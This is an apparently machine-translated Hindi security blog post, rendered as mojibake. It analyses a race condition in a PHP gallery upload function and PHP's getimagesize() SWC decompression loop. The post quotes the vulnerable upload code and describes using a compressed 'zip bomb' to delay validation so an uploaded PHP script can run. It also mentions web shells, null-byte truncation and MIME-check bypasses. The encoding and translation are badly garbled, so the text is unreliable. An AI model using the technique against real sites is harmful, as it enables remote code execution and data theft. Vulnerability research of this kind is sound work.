PHP рдХреЗ рд▓рд┐рдП рдЦрддрд░рдирд╛рдХ getimagesize () рдпрд╛ Zip Bomb

рдкреНрд░рддреНрдпрд╛рд╡рд░реНрддрди



рд╢рд░рдж рдлрд┐рд░ рд╕реЗ рдкреАрдЯрд░ рдХреЗ рдкрд╛рд╕ рдЖрдпрд╛, рдФрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рдореВрдб, рдЬреЛ рдкреВрд░реЗ рдПрдХ рд╕рдкреНрддрд╛рд╣ рддрдХ рд╕реМрд░ рд╡рд┐рдХрд┐рд░рдг рдХреЗ рд▓рдЧрд╛рддрд╛рд░ рд╣рдорд▓реЗ рдХреЗ рдЕрдзреАрди рдерд╛, рдиреЗ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ рдХрд┐ рдпрд╣ рдЙрд╕рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдерд╛, рдФрд░ рдЦрд┐рдбрд╝рдХреА рд╕реЗ рджреВрд░ рдЙрдбрд╝ рдЧрдпрд╛ рдЬреЛ рдЕрднреА рддрдХ рдмрдВрдж рдирд╣реАрдВ рд╣реБрдЖ рдерд╛ред



"рдорд╣рд╛рди," рдореИрдВрдиреЗ рд╕реЛрдЪрд╛, "рд╡рд╛рдкрд╕ рдЖрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХреБрдЫ рдЗрдВрдЬрди рдЪреБрдирдиреЗ рдХрд╛ рд╕рдордп рд╣реИ!"



рдЬрд▓реНрджреА рд╕реЗ рдирд╣реАрдВ рдХрд╣рд╛ред рдХрдЯ рдХреЗ рддрд╣рдд, рдореИрдВ PHP рдореЗрдВ рдЖрдо рдлреЛрдЯреЛ рдЧреИрд▓рд░реА рдЗрдВрдЬрди рдореЗрдВ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдЕрд╡рд▓реЛрдХрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реВрдВ рдФрд░ рдЖрдк рджрд╛рдврд╝реА рдЬрд╝рд┐рдк рдмрдо (рдпрд╛ рдкрд╛рд▓рддреВ рдмрдо) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ getimagesize()



рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рд╕рд╛рдЗрдЯ рдХреЛ рдХреИрд╕реЗ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ, рдХрд┐рд╕реА рднреА рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рд▓рдХреНрд╖реНрдп рдХреНрд▓рд╛рдЗрдВрдЯ рдкрдХреНрд╖ (рд╣рдорд╛рд░рд╛ рдорддрд▓рдм XSS) рдпрд╛ рд╕рд░реНрд╡рд░ рд╕рд╛рдЗрдб (рд╣рдо RCE, рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди) рд╕реЗ рдХреБрдЫ рдЪреБрд░рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╣реИред рдЙрддреНрддрд░рд╛рд░реНрджреНрдз, рдЬрд╝рд╛рд╣рд┐рд░ рд╣реИ, рд╕реБрдЦрдж рд╕рдВрдЪрд╛рд░ рдХреЗ рд╕рд╛рде рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЖрд╢рд╛рдЬрдирдХ рд░реВрдк рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ - рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИ ( shell.php рдЙрд░реНрдл " рдИрдмреЗ рд╕реНрдЯрд╛рдЗрд▓ "), рдЖрдк рдкреВрд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдзрд╛рд░ рдХреЛ рдмрд╛рд╣рд░ рдЦреАрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдПрдХреНрд╕рдПрд╕рдПрд╕ рдХреЗ рдПрдХ рдЬреЛрдбрд╝реЗ рдХреЛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред



RCE рдХрд╛ рд╕рдмрд╕реЗ рд╕реАрдзрд╛ рддрд░реАрдХрд╛ рд╕рд░реНрд╡рд░ рдкрд░ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рд╕реЙрд╕ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ - рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдЬрд╡рд╛рдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ ... рдореБрдЭреЗ рдХреНрд╖рдорд╛ рдХрд░реЗрдВ, рдЪрд┐рддреНрд░ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЖрдЬ рдХреЛрдИ рднреА рд╕реНрд╡рд╛рднрд┐рдорд╛рдиреА рдордВрдЪ рдпрд╛ рд╕реЛрд╢рд▓ рдиреЗрдЯрд╡рд░реНрдХ рд╣рдореЗрдВ рдХрдо рд╕реЗ рдХрдо рдЕрд╡рддрд╛рд░реЛрдВ рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред



рд▓реЗрдХрд┐рди рд╕рд░реНрд╡рд░ рдкрд░ рдХреЛрдб рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ рд╣реА рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ - рдЖрдкрдХреЛ рдЗрд╕реЗ (рд╕рд░реНрд╡рд░) рдЗрд╕ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣рд╛рдБ, рд▓реЛрдХрддрдВрддреНрд░ рдХреЗ рдмрд┐рд▓реНрдбрд░реЛрдВ рдХреЛ nginx рдореЗрдВ try_files рд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ %00



рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкрдВрдХреНрддрд┐ рдХреЛ рдЯреНрд░рд┐рдо рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде рд╕рдорд╕реНрдпрд╛рдУрдВ рд╕реЗ рдмрдЪрд╛рд╡ рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ MIME рдЬрд╛рдБрдЪ рдФрд░ рд▓реЛрдбрд┐рдВрдЧ рдХрд╛ рдПрдХ рддреБрдЪреНрдЫ рдмрд╛рдИрдкрд╛рд╕ *.php



рд╕реАрдзреЗ (рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рдмрд╣реБрдд рд╣реА рдореБрд╢реНрдХрд┐рд▓ рдорд╛рдорд▓рд╛ рд╣реИ, рдЗрдВрдЬрди рдЬреЛ рдЗрд╕ рдкрд╛рдк рдХрд░рддреЗ рд╣реИрдВ, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рдЕрднреА рднреА рд╣реИред рдПрдХ рджрд░реНрдЬрди рдЕрдиреНрдп рдЫреЗрдж)ред



рдФрд░ рдЬрдм рдХреЛрдб рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЕрдирд╛рд╡рд╢реНрдпрдХ рд╡рд┐рд╕реНрддрд╛рд░ рд╣реЛрддрд╛ рд╣реИ, рддрдм рднреА рдЗрд╕реЗ рдвреВрдВрдврдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЕрдХреНрд╕рд░ рдЗрдВрдЬрди рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдПрдХ рд░рд┐рдХреЙрд░реНрдб рдХреА рдЖрдИрдбреА рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдХрднреА-рдХрднреА рдХреНрд░рдорд┐рдХ рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдо рд╕рдорд╕реНрдпрд╛ рд╣реИред



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХ рд╣реИрдХрд░ рдХреЗ рдЬреАрд╡рди рдХреЛ рдЬрдЯрд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕реЗ рдЕрдзрд┐рдХ рдЕрд╡рд╕рд░ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрднреА-рдХрднреА рдмрд╣реБрдд рдордЬрд╝реЗрджрд╛рд░ рд╕реНрдХреВрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рдиреАрдЪреЗ рд╣реЛрддрд╛ рд╣реИред



рдЬрдм рдЖрдХрд╛рд░ рдорд╛рдпрдиреЗ рд░рдЦрддрд╛ рд╣реИ



рдореИрдВ рдЬрд┐рд╕ рдЗрдВрдЬрди рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реВрдВ, рдХреЗрд╡рд▓ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ рдФрд░ рдпрд╣ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ:

 function process_upload($upload) { $ext = explode('.', $upload['name']); $ext = strtolower($ext[count($ext)-1]); $filename = md5_file($upload['tmp_name']); move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace('image/', '', $info['mime']); if ($ext != $tmp_ext) { rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') { unlink('temp/'.$filename.'.'.$ext); return false; } //  ,    .
      
      





process_upload()



рдлрд╝рдВрдХреНрд╢рди рдХреЛ $_FILES



рд╕реЗ рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ - рдЕрд░реНрдерд╛рдд, рдЗрд╕ рдкреНрд░рд╛рд░реВрдк рдХреА рдПрдХ рд╕рд░рдгреА:

 $upload = array( 'name' => '_.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', )
      
      





рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдпрд╣рд╛рдБ рд╣реЛрддрд╛ рд╣реИ:



  1. рдЕрдкрдиреА рд╕рд╛рдордЧреНрд░реА рджреНрд╡рд╛рд░рд╛ рдЧрдВрддрд╡реНрдп рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрдирд╛рдирд╛ (рдЙрд░реНрдл md5sum $tmp_name



    )
  2. рдЗрд╕ рдирд╛рдо рдХреЗ рдореВрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдЬреЛрдбрд╝рдирд╛
  3. рдЗрд╕ рдирд╛рдо рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓реЗ рдЬрд╛рдПрдВ; рдлрд╝реЛрд▓реНрдбрд░ рдмрд╛рд╣рд░ рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ example.com/temp



  4. рдлрд╝рд╛рдЗрд▓ рд╕реНрд╡рд░реВрдк рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ - рдпрджрд┐ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЙрд╕ рдкреНрд░рд╛рд░реВрдк рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕реЗ рднрд┐рдиреНрди рд╣реИ, рддреЛ рдЕрд╕реНрдерд╛рдпреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ "рд╡рд╛рд╕реНрддрд╡рд┐рдХ" рдПрдХреНрд╕рдЯреЗрдВрд╢рди рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
  5. рдпрджрд┐ рдлрд╝рд╛рдЗрд▓ рдПрдХ рдЫрд╡рд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред


рдЕрдВрдХ 3 рдФрд░ 4 рдХреЗ рдмреАрдЪ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмреЗрд╣рдж рджрд┐рд▓рдЪрд╕реНрдк рд╣реИред рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдк рдкрд░ рдЬреВрдБ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдФрд░ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рдмреАрдЪ рдХрдо рд╕реЗ рдХрдо рджреЛ рдСрдкрд░реЗрд╢рди рд╣реЛрддреЗ рд╣реИрдВ: getimagesize()



рдФрд░ rename()



ред рдЙрддреНрддрд░рд╛рд░реНрджреНрдз рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмрд╣реБрдд рдХрдо рд░реБрдЪрд┐ рд╣реИ - рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рддреЗрдЬреА рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдпрд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ - рд▓реЗрдХрд┐рди рдлрд┐рд░ PHP рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ unlink()



рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдкрдЯрд░рд┐рдпреЛрдВ рдХреЛ рд╕реНрд╡реАрдк рдХрд░рддрд╛ рд╣реИред



рд▓реЗрдХрд┐рди getimagesize()



рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╣рдореЗрдВ рдЪрд┐рдВрддрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЬрдм рд╣рдо рдЕрдкрдиреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ temp



рдореЗрдВ рдЪрд▓рд╛рддреЗ рд╣реИрдВ рддреЛ рдХреНрдпрд╛ рдЙрд╕реЗ "рдкреНрд░рддреАрдХреНрд╖рд╛" рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ?



рд╕реВрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рд▓реНрдпреВрдХ



рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдк рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рдЬрдЯрд┐рд▓ рдСрдкрд░реЗрд╢рди рд╣реИред рдпрд╣ рдлрд╝рдВрдХреНрд╢рди PHP рдореЗрдВ рджрд╕ рд╡рд░реНрд╖реЛрдВ рд╕реЗ рдореМрдЬреВрдж рд╣реИ, рдЗрд╕реЗ GD рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рд╕рднреА рджреБрднрд╛рд╖рд┐рдпрд╛ рд╡рд┐рдзрд╛рдирд╕рднрд╛рдУрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ 20 рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдХреЛрдб рд▓рдЧрднрдЧ 1,500 рд▓рд╛рдЗрдиреЗрдВ рд▓реЗрддрд╛ рд╣реИред рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рдХреБрдЫ рдРрд╕рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рдХрд╛ рд╣рдо рд╢реЛрд╖рдг рдХрд░ рд╕рдХреЗрдВред



рдЬреИрд╕рд╛ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд╡реНрдпрд╡рд╕рд╛рдп рдПрдХ рд╕реБрд╡рд┐рдЪрд╛рд░рд┐рдд рдпреЛрдЬрдирд╛ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ рд╕рдлреЗрдж рдмреЙрдХреНрд╕-рдкреЗрдиреНрдЯреЗрд╕реНрдЯ рд╕реНрд░реЛрдд рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдЬрд┐рд╕ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рд╡рд╣ php-5.5.12\ext\standard\image.c



ред рдХреЛрдб рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдХрдИ рдорд┐рдирдЯреЛрдВ рдХреЗ рдмрд╛рдж, рдореИрдВ рдПрдХ рдмрд╣реБрдд рд╣реА рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЖрдпрд╛ рдЬреЛ рдПрд╕рдбрдмреНрд▓реНрдпреВрд╕реА рдкреНрд░рд╛рд░реВрдк рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - рд╢реЙрдХрд╡реЗрд╡ рдлреНрд▓реИрд╢ рдХрдореНрдкреНрд░реЗрд╕реНрдб (рдореИрдВ рдкрд╣рд▓реА рдмрд╛рд░ рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╕реБрдирддрд╛ рд╣реВрдВ)ред рдЕрд░реНрдерд╛рддреН:

 //     stream   4- ,    'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL; long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL; b = ecalloc (1, len + 1); if (php_stream_seek(stream, 5, SEEK_CUR)) return NULL; if (php_stream_read(stream, a, sizeof(a)) != sizeof(a)) return NULL; if (uncompress(b, &len, a, sizeof(a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek(stream, 8, SEEK_SET)) return NULL; slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib::uncompress() wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn't big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<<factor++); buf = (char *) erealloc(buf,szlength); status = uncompress(buf, &szlength, bufz, slength); } while ((status==Z_BUF_ERROR)&&(factor<maxfactor));
      
      





рдпрд╣ рдХреЛрдб рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдпрджрд┐ рд╢реАрд░реНрд╖ рд▓реЗрдЦ рдХреЗ рдмрд╛рдж рдкрд╣рд▓реЗ 64 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХрд╛ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдЬреЛ рдХрд┐ 0x08 рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ), рддреЛ рдпрд╣ рд▓реВрдк рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░реЗрдЧрд╛, рдкреВрд░реЗ рдЗрдирдкреБрдЯ рдмрдлрд░ рдХреЛ 9 рдмрд╛рд░ рддрдХ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдПрдХ рд╕рдВрд╕рд╛рдзрди-рдЧрд╣рди рд╕рдВрдЪрд╛рд▓рди рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдФрд░ рд╣рдореЗрдВ рдЕрдкрдиреА рд▓рд┐рдкрд┐ рдореЗрдВ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдХреБрдЫ рд╕реМ рдорд┐рд▓реАрд╕реЗрдХрдВрдб рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред рдФрд░ рдмрд╛рдврд╝ рднреА рд╣реИред



... рд╕рдВрдХреБрдЪрд┐рдд рдбреЗрдЯрд╛ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рджреБрд░реБрдкрдпреЛрдЧ рдХреЗ рдЖрдзреЗ рдШрдВрдЯреЗ рдХреЗ рдмрд╛рдж, рдореИрдВ рдХреЛрдИ рдорд╣рддреНрд╡рдкреВрд░реНрдг рджреЗрд░реА рд╣рд╛рд╕рд┐рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрд╛ред рдпрд╛ рддреЛ рдореЗрд░реА рдкреНрд░рдгрд╛рд▓реА рдмрд╣реБрдд рддреЗрдЬрд╝ рд╣реИ, рдпрд╛ рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЬрд╝рд╛рд▓рд┐рдм рдХреЗ рд▓рд┐рдП рдПрдХ рдкрдВрдХреНрддрд┐ рдореЗрдВ рд╕реМ рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рдХреЗ рдПрдХ рдЬреЛрдбрд╝реЗ рдХреЛ 8 рдмрд╛рд░ рдЙрддрд╛рд░рдирд╛ рд╣реИ - рдПрдХ рдмрдбрд╝реА рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВред рдореИрдВ рдЕрдЧрд▓реА рднреЗрджреНрдпрддрд╛ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдерд╛, рдЬреИрд╕реЗ ...



"рд░реБрдХреЛ ... рд╕реМ рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рдХреЗ рдПрдХ рдЬреЛрдбрд╝реЗ?"



facepalm



640 рдкреЗрдЯрд╛рдмрд╛рдЗрдЯреНрд╕ рд╕рднреА рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ



рдХреМрди рдпрд╛рдж рдХрд░рддрд╛ рд╣реИ - 2000 рдХреЗ рджрд╢рдХ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдХреБрдЫ рдореЗрд▓ рд╕рд░реНрд╡рд░реЛрдВ рдиреЗ рдЕрдиреБрдЪрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЕрднрд┐рд▓реЗрдЦрд╛рдЧрд╛рд░ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдерд╛ред рд╣рдорд▓реЗ рдХрд╛ рд╕рд╛рд░ рд╕рд░рд▓ рд╣реИ: рдпрджрд┐ рдПрд▓рдЬреЗрдб рдХреЗ рд╕рдорд╛рди рдПрдХ рд╕рдВрдкреАрдбрд╝рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдПрдХ рд╕рдВрдкреАрдбрд╝рд┐рдд рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ, рдЗрд╕рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рджреЗрдЦреЗ рдЧрдП рдЯреБрдХрдбрд╝реЗ рдвреВрдВрдв рд░рд╣рд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд▓рд┐рдВрдХ (рдХрд╣рдирд╛, рдбрдмрд▓-рдмрд╛рдЗрдЯ) рдХреЗ рд╕рд╛рде рдмрджрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рд╣рдо рдПрдХ рд╕рдВрдЧреНрд░рд╣ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ 4 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИ (рдСрдлрд╕реЗрдЯ рдХреЗ рд▓рд┐рдП 2) рдФрд░ рд▓рдВрдмрд╛рдИ рдХреЗ рд▓рд┐рдП 2) рд╕рдВрдХреБрдЪрд┐рдд рдбреЗрдЯрд╛ 65536 рд╡рд┐рдШрдЯрд┐рдд рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдЧрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЕрдирдкреИрдХрд┐рдВрдЧ рдХреЗ рдмрд╛рдж 4 рдХрд┐рд▓реЛрдмрд╛рдЗрдЯ 64 рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред рдпрд╣ рдПрдХ рд╣реА рд╡рд░реНрдг рдХреЗ рд╕рд╛рде рд╕рдВрдкреВрд░реНрдг рдЗрдирдкреБрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣рдереМрдбрд╝рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдпрд╣ рд╕рд░рд▓реАрдХреГрдд рд╣реИред



рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдПрд▓рдЬреЗрдб рдЗрддрдиреА рдХреБрд╢рд▓рддрд╛ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рд▓реЗрдХрд┐рди рдПрдХ рд╕рд╛рдзрд╛рд░рдг zip



рдмрд┐рдирд╛ рдХрд┐рд╕реА рднреА рдЪрд╛рд▓ рдХреЗ рдмрд┐рдирд╛ zip



рд╣рдо 11 рдЬреАрдмреА рдХреА рд╢реВрдиреНрдп рдХреЗ рд╕рд╛рде рдореВрд▓ рдлрд╝рд╛рдЗрд▓ рд╕реЗ 10 рдПрдордмреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ред



